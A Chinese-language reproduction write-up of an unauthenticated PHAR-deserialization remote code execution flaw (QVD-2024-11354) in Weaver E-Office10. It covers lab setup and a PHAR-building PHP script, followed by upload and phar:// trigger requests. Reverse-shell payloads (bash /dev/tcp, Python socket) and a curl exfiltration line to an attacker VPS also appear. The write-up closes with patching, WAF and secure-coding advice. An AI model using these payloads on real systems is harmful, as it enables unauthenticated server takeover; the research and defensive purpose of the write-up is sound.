PHP反序列化与PHAR协议漏洞解析:以泛微E-Office高危RCE为例 1. 项目概述与漏洞背景最近在梳理一些历史高危漏洞的利用链时我又把目光投向了泛微E-Office。作为国内OA办公自动化系统的老牌厂商泛微的产品在企业内部应用极广这也意味着一旦其产品出现安全漏洞影响面会非常大。今天要聊的这个QVD-2024-11354就是一个典型的、影响范围达到“十万级”的高危远程代码执行漏洞。它最危险的地方在于攻击者无需任何登录凭证就能直接向服务器上传一个精心构造的文件进而拿到服务器的控制权。我在自己的测试环境里完整走了一遍复现流程发现这个漏洞的利用条件相当宽松原理也很有代表性涉及PHP反序列化和PHAR文件协议这两个在Web安全里老生常谈但又屡试不爽的技术点。如果你正在负责企业安全运维或者对Web漏洞挖掘感兴趣理解这个漏洞的来龙去脉无论是用于自查防护还是技术研究都很有价值。简单来说这个漏洞存在于泛微E-Office10版本中一个处理文件上传的接口里。系统本意可能是想提供某种文件解析或预览功能但在处理用户上传的PHARPHP Archive文件时没有进行有效的安全检查。攻击者可以上传一个伪装成图片比如JPG的恶意PHAR文件然后通过触发PHAR的反序列化操作让服务器执行文件中预置的任意PHP代码。整个过程完全绕过身份验证直接威胁服务器安全。下面我就结合自己的复现过程把这个漏洞的技术细节、环境搭建、利用手法以及关键的防护思路掰开揉碎了讲清楚。2. 漏洞原理深度解析要真正理解QVD-2024-11354我们不能只停留在“上传PHAR文件就能执行代码”的表面结论必须深入到代码层面看看问题究竟出在哪里。根据公开的漏洞通告和后续一些安全研究者的分析这个漏洞的核心是“不安全的反序列化”与“PHAR协议反序列化利用”的组合拳。2.1 泛微E-Office中的文件处理逻辑缺陷泛微E-Office10系统中存在一些用于处理文档、图片等附件的功能模块。在某个特定的文件上传或解析接口中为了安全起见此处不透露具体路径名开发人员编写了类似file_get_contents()、include()或fopen()等文件操作函数来处理用户上传的文件。问题在于这些函数在调用时其参数即文件路径在一定程度上可能受到用户输入的影响。更关键的一步是在处理某些特定文件可能是为了提取元数据、生成缩略图或进行格式转换时代码逻辑触发了对文件内容的反序列化操作。在PHP中当你以phar://协议去访问一个PHAR文件时即便你只是尝试读取它的元数据例如使用file_get_contents(‘phar:///path/to/file.phar’)PHP也会自动解析PHAR文件中的stub和manifest并反序列化manifest中存储的元数据。如果这个PHAR文件是恶意的其元数据中就可能包含一个精心构造的序列化字符串指向一个具有危险魔术方法如__destruct(),__wakeup()的类对象。2.2 PHAR文件格式与反序列化利用链PHARPHP Archive本质上是PHP的归档文件类似于JAR之于Java。它可以将多个PHP文件、资源打包成一个文件。一个PHAR文件包含三部分Stub 一个PHP脚本作为PHAR文件的引导加载器通常以__HALT_COMPILER();结尾。Manifest 描述归档内容的清单其中包含文件的元数据。这些元数据在存储时是经过序列化的。File Contents 实际打包的文件内容。漏洞利用的关键在于Manifest部分的元数据反序列化。攻击者可以创建一个PHAR文件在Manifest的元数据中插入一个序列化后的对象该对象属于一个在目标系统泛微E-Office中存在的类并且这个类拥有在反序列化时会被自动调用的“魔术方法”比如__destruct()或__wakeup()。在这些魔术方法中如果存在一些危险的操作比如调用system()、eval()或者进行文件读写攻击者就能通过控制反序列化对象的属性来操纵这些危险操作的参数最终实现任意代码执行。注意 这里存在一个常见的误解。很多人以为PHAR利用一定要在文件上传后通过include或require来包含。其实不然。只要后端代码使用phar://协议包装器去读取这个文件例如file_get_contents(‘phar://./uploads/evil.jpg’)反序列化过程就会被触发。这正是该漏洞的隐蔽之处——系统可能只是想读取一下这个“图片”文件却意外执行了里面的恶意代码。2.3 漏洞触发路径与身份认证绕过为什么说这个漏洞是“未授权”或“绕过身份认证”的因为存在缺陷的文件上传/处理接口本身就没有放置在需要认证才能访问的目录或控制器下。它可能是一个服务于公共功能如临时文件处理、文档预览的接口在设计之初就忽略了对其访问权限的严格校验。攻击者可以直接通过网络访问到这个接口的URL提交恶意PHAR文件并随后通过另一个请求可能是指定phar://协议去触发文件读取操作从而完成整个攻击链。3. 复现环境搭建与准备“纸上得来终觉浅绝知此事要躬行。”在安全研究里搭建一个与目标相近的测试环境是理解漏洞的第一步。对于QVD-2024-11354我们需要一个存在漏洞的泛微E-Office10版本。3.1 目标版本获取与部署根据影响范围描述受影响的版本是v10.0_20180516到v10.0_20240222之间的E-Office10。请注意本文所有操作均在完全隔离的本地虚拟机测试环境中进行严禁对任何非授权系统进行测试。寻找测试版本 由于官方已修复我们需要寻找一个历史版本的安装包。这通常可以在一些软件下载站的历史版本存档中找到或者从合法的漏洞研究资源库获取。我使用的是E-Office10.0_2020xxxx版本的一个安装包。准备服务器环境 漏洞依赖于PHP环境。我使用了一台全新的CentOS 7虚拟机配置如下Web服务器 Apache 2.4PHP版本 5.6 / 7.x 多个版本均可需支持PHAR扩展默认通常已启用数据库 MySQL 5.7关键PHP配置 确保php.ini中phar.readonly选项设置为Off。默认是On这会导致我们无法生成恶意的PHAR文件用于测试。在测试机上我们需要将其关闭。; 在php.ini中找到并修改 phar.readonly Off实操心得 很多Docker镜像或默认安装的PHPphar.readonly是On的。如果你在用PHP生成PHAR文件时遇到“phar creation disabled”错误第一个就要检查这个配置。修改后记得重启Apache或PHP-FPM服务。安装泛微E-Office 按照找到的安装包内的说明进行安装。通常过程是解压文件到Web目录如/var/www/html/eoffice配置Apache虚拟主机指向该目录创建数据库并导入初始化SQL脚本然后通过浏览器访问安装向导页面完成配置。安装过程中注意记录数据库连接信息和后台管理员账号。3.2 漏洞检测与信息收集在部署好环境后我们首先需要确认目标系统是否确实存在漏洞点并收集必要的信息。服务识别 访问系统首页查看页面底部或登录页面的版权信息确认版本号在受影响范围内。目录结构探测 使用dirsearch、gobuster等目录扫描工具对目标进行轻量级扫描寻找可能的上传点或敏感接口。常见的路径可能包含upload、file、office、api等关键词。# 示例命令请勿用于未授权测试 python3 dirsearch.py -u http://test.local/eoffice -e php,html,json搜索公开PoC 根据漏洞编号QVD-2024-11354在GitHub、Exploit-DB等平台搜索是否有研究者公开了漏洞的具体路径或利用脚本。这能极大提高复现效率。我找到的PoC指向了一个特定的API接口路径用于处理某种文件上传。4. 漏洞利用链详细复现过程掌握了原理准备好了环境接下来就是动手验证。下面我将一步步拆解利用过程。4.1 构造恶意PHAR文件这是攻击的核心载荷。我们需要编写一个PHP脚本创建一个包含恶意序列化对象的PHAR文件并将其后缀伪装成.jpg以绕过可能的基础文件类型检查。?php // 文件名create_phar.php // 用于生成恶意PHAR文件的脚本 // 定义一个在目标系统中可能存在的类或者利用PHP内置类。 // 这里为了演示我们假设目标系统有一个类VulnClass其__destruct方法会执行eval。 // 在实际利用中我们需要通过信息收集或代码审计找到目标系统中真实存在的、可利用的类链POP Chain。 class VulnClass { public $cmd ; function __destruct() { // 危险操作执行系统命令 system($this-cmd); // 或者使用eval执行PHP代码 // eval($this-cmd); } } // 删除之前生成的文件避免干扰 unlink(evil.phar.jpg); // 创建一个新的Phar对象evil.phar是内部归档名后缀不重要 $phar new Phar(evil.phar); // 开始缓冲对Phar归档的写操作 $phar-startBuffering(); // 设置stub这是一个有效的PHP文件头确保能被识别 $phar-setStub(?php __HALT_COMPILER(); ?); // 创建我们的恶意对象 $object new VulnClass(); $object-cmd whoami; // 要执行的命令这里先测试whoami // 将恶意对象作为元数据添加到Phar文件中 // 关键步骤addFromString的第一个参数是归档内文件名这里我们用一个无害的名字 // 第二个参数是文件内容这里可以任意 // 第三个参数是元数据我们传入序列化后的恶意对象 $phar-addFromString(test.txt, This is a test file.); $phar-setMetadata($object); // 将对象存入manifest的metadata // 停止缓冲并将更改保存到磁盘 $phar-stopBuffering(); // 将生成的文件重命名为.jpg后缀进行伪装 rename(evil.phar, evil.phar.jpg); echo 恶意PHAR文件已生成: evil.phar.jpg\n; ?在测试机上执行这个脚本php create_phar.php你会得到一个名为evil.phar.jpg的文件。用文本编辑器打开它你会看到文件头部是?php __HALT_COMPILER(); ?后面跟着二进制内容其中就嵌入了序列化的VulnClass对象。注意事项 上面的VulnClass是一个假设的类。在真实的泛微E-Office漏洞利用中攻击者需要找到一个在系统代码中真实存在的、可被利用的类链。这通常通过反编译、代码审计或参考其他研究者已挖掘出的利用链来完成。公开的PoC中可能会使用如Monolog库的Handler类或其他泛微自定义类。我们的演示仅说明原理实际利用载荷需根据目标环境调整。4.2 寻找并利用文件上传点根据公开信息漏洞存在于一个未授权的文件上传接口。假设我们通过扫描或PoC得知上传路径为/eoffice/api/upload/upload.php此为示例非真实路径。上传恶意文件 使用curl或Burp Suite等工具发送POST请求上传我们生成的evil.phar.jpg。curl -X POST http://test.local/eoffice/api/upload/upload.php \ -F fileevil.phar.jpg \ -F typeimage-F表示表单数据。file...指定要上传的文件。可能还需要其他参数如type、name等这需要分析前端JS或尝试爆破。分析响应 如果上传成功服务器通常会返回一个JSON响应包含文件存储的路径、访问URL或文件名。例如{code:1, msg:success, data:{url:/uploads/202503/27/abcdefg.jpg}}记录下这个路径例如/uploads/202503/27/abcdefg.jpg。这就是我们上传的恶意PHAR文件在服务器上的位置。4.3 触发PHAR反序列化执行代码上传成功并不意味着代码执行了。我们需要触发服务器以phar://协议去读取这个文件。寻找触发点 漏洞的另一个关键是存在另一个接口或功能会去读取上传的文件并且读取方式允许使用phar://包装器。这可能是一个文件预览接口、文档转换接口或图片处理接口。PoC中通常会给出触发点的URL和参数。构造触发请求 假设触发点是/eoffice/api/document/preview.php它接受一个file参数指定文件路径。那么我们可以构造如下请求GET /eoffice/api/document/preview.php?filephar:///var/www/html/eoffice/uploads/202503/27/abcdefg.jpg HTTP/1.1 Host: test.local注意phar://后面的路径是服务器上的绝对路径。我们需要将之前返回的相对路径/uploads/...转换为Web目录下的绝对路径例如/var/www/html/eoffice/uploads/...。如果不知道绝对路径有时可以利用PHP的封装协议特性进行路径遍历或猜测。观察结果 发送这个请求。如果漏洞存在且利用链正确服务器会在处理preview.php时尝试用file_get_contents(‘phar://…’)或类似函数读取文件从而触发PHAR元数据的反序列化。我们的VulnClass对象的__destruct()方法会被调用执行whoami命令。如果命令执行成功我们可能在HTTP响应中看到命令输出如www-data或apache也可能没有回显盲注。对于无回显的情况我们可以让命令执行一些可观测的操作如sleep 10观察响应延迟、curl http://your-vps:port/$(whoami)将结果外带到自己的服务器、或者在Web目录下写入一个文件。4.4 升级利用获取交互式Shell执行单条命令只是开始安全测试的下一步往往是获取一个稳定的反向Shell。修改PHAR生成脚本 将$object-cmd改为反弹Shell的命令。$object-cmd bash -c \bash -i /dev/tcp/YOUR_VPS_IP/YOUR_PORT 01\; // 或者使用更兼容的python/perl/nc命令 // $object-cmd python -c \import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\YOUR_VPS_IP\,YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\/bin/bash\,\-i\]);\;重新运行create_phar.php生成新的恶意文件。在VPS上监听nc -lvnp YOUR_PORT重复上传和触发步骤 上传新的PHAR文件并触发反序列化。如果成功你会在VPS的nc监听端口中看到一个来自目标服务器的Shell连接。稳定Shell 获取到的初始Shell可能不太稳定交互性差、容易断开。可以尝试使用python的pty模块或script命令升级为完全交互式的TTY Shell。# 在获取到的反向Shell中执行 python -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。对于企业安全运维人员如果正在使用泛微E-Office必须立即采取行动。5.1 官方修复方案泛微官方已针对此漏洞发布了安全更新。最直接有效的方案是升级到最新版本。版本升级 登录泛微E-Office的服务管理平台检查是否有可用的安全更新补丁。根据官方通告应升级到v10.0_20240222或更高版本。离线补丁 如果无法在线升级应访问泛微官方网站https://www.e-office.cn/的下载或支持中心寻找针对QVD-2024-11354漏洞的离线升级补丁包并按照官方指导手册进行安装。升级后验证 升级完成后应再次进行安全扫描或使用已知的PoC进行测试在授权和隔离环境下确认漏洞已修复。5.2 临时缓解措施如果因业务原因无法立即升级可以考虑以下临时缓解措施但这些措施不能替代彻底修复Web应用防火墙规则 在WAF上部署规则拦截包含以下特征的请求请求路径 匹配已知漏洞接口路径如包含/api/upload/等特征的URL。请求内容 检测上传文件内容中是否包含__HALT_COMPILER();等PHAR文件特征字符串。请求参数 拦截参数值中包含phar://协议包装器的请求。服务器层防护PHP配置 在php.ini中禁用phar扩展是最彻底的方法但可能会影响某些合法功能。折中方案是确保phar.readonly On默认值这可以防止攻击者在服务器上生成新的恶意PHAR文件但无法防御已上传的PHAR文件被触发。文件系统权限 严格限制上传目录的执行权限。确保上传目录如uploads/的PHP文件无法被解析执行例如通过Apache的php_admin_flag engine off配置或将上传目录放到Web根目录之外。输入过滤 在应用层面对所有用户输入的文件路径参数进行严格过滤禁止路径中出现phar://、php://、data://等危险协议包装器。网络层隔离 将OA系统部署在内网严格限制外部互联网的访问。如果必须对外提供访问应通过VPN或零信任网络网关进行接入。5.3 长期安全开发规范对于开发团队而言此漏洞是一次深刻教训应建立更严格的安全编码规范避免反序列化不可信数据 永远不要对来自用户输入、网络请求或不可信文件的数据进行反序列化操作。如果必须使用序列化应使用数字签名或HMAC验证数据的完整性和来源。安全使用文件操作函数 在使用file_get_contents()、include()、fopen()等函数时如果参数涉及用户输入必须进行白名单校验。避免直接将用户输入拼接进文件路径或协议包装器。文件上传安全使用白名单校验文件扩展名和MIME类型。对上传文件进行重命名如使用随机哈希值避免用户控制最终存储路径和文件名。将上传文件存储在非Web可访问目录通过后端脚本代理访问。对图片等文件进行二次渲染处理破坏其中可能嵌入的恶意代码。依赖库安全管理 定期更新所有第三方库和框架及时修复已知漏洞。泛微此类漏洞有时也源于引用的第三方库如某些PHP组件存在问题。6. 复现过程中的常见问题与排查在复现这个漏洞时我踩过不少坑。这里把常见的问题和解决方法列出来希望能帮你节省时间。6.1 问题排查速查表问题现象可能原因排查步骤与解决方案上传接口返回错误如403, 4041. 接口路径不正确。2. 接口需要特定参数或请求头。3. 服务器配置禁止访问。1. 使用目录扫描工具重新探测。2. 浏览器开发者工具抓取正常上传请求模仿所有参数和Headers。3. 检查服务器robots.txt、.htaccess或中间件如WAF规则。上传成功但触发请求无反应1. 触发点路径或参数错误。2. PHAR文件元数据中的利用链不匹配目标系统。3. 目标PHP环境phar.readonlyOn且文件非本地生成4. 命令执行无回显盲注。1. 确认触发点URL和参数名。2.关键检查目标系统类库使用正确的POP链。尝试使用Monolog等通用链。3.phar.readonlyOn不影响触发已存在的PHAR文件只影响创建。此条可能性低。4. 尝试使用sleep、ping或DNS外带命令测试盲注。生成PHAR文件时报错phar creation disabledPHP配置中phar.readonly设置为On。修改测试机php.ini中phar.readonly Off并重启Web服务。触发请求返回报错提及unserialize或类不存在利用链中指定的类在目标系统中不存在。1. 通过代码审计或信息泄露获取目标系统类名。2. 尝试使用PHP内置类如SplFileObject进行文件读写或寻找其他链。反弹Shell不成功1. 目标服务器出网受限。2. 防火墙拦截。3.bash、nc、python命令路径或版本问题。1. 先用ping或curl测试出网。2. 尝试不同端口如53-DNS, 80-HTTP, 443-HTTPS。3. 使用绝对路径命令/bin/bash或尝试其他语言如perl,php的反弹Shell语句。6.2 高级技巧与深度利用思考寻找POP链的自动化工具 手动审计代码找利用链效率低下。可以尝试使用phpggcPHP Generic Gadget Chains这类工具它集成了多种PHP框架和库的通用反序列化利用链。虽然泛微的定制类可能需要单独分析但phpggc是一个很好的起点。绕过phar.readonly限制 如果目标服务器phar.readonlyOn我们无法在目标上直接生成PHAR。但漏洞利用通常是在本地生成好PHAR文件再上传所以这个配置不影响利用。它只影响在服务器内存中动态创建PHAR归档。无绝对路径如何利用 如果不知道上传文件的服务器绝对路径可以尝试路径遍历 使用phar://./uploads/../../evil.jpg但受限于PHP的open_basedir限制。利用PHP临时文件 某些上传处理逻辑会先将文件存为临时文件其路径可能已知或可预测。结合其他漏洞 如文件包含漏洞LFI通过phar://包装器包含上传的文件。防御层面的思考 作为防御方除了打补丁可以部署RASP运行时应用自我保护产品监控应用层中危险的函数调用如unserialize(),file_get_contents(‘phar://’)并及时阻断。这个漏洞的复现过程清晰地展示了一个经典的安全问题对用户输入缺乏充分信任和校验结合危险的语言特性反序列化导致了严重的远程代码执行后果。对于安全研究者它是一次很好的反序列化利用实战对于运维和开发者它是一记响亮的警钟提醒我们安全编码和及时更新的重要性。在测试的最后别忘了彻底清理你的测试环境销毁所有虚拟机快照确保没有任何恶意代码残留。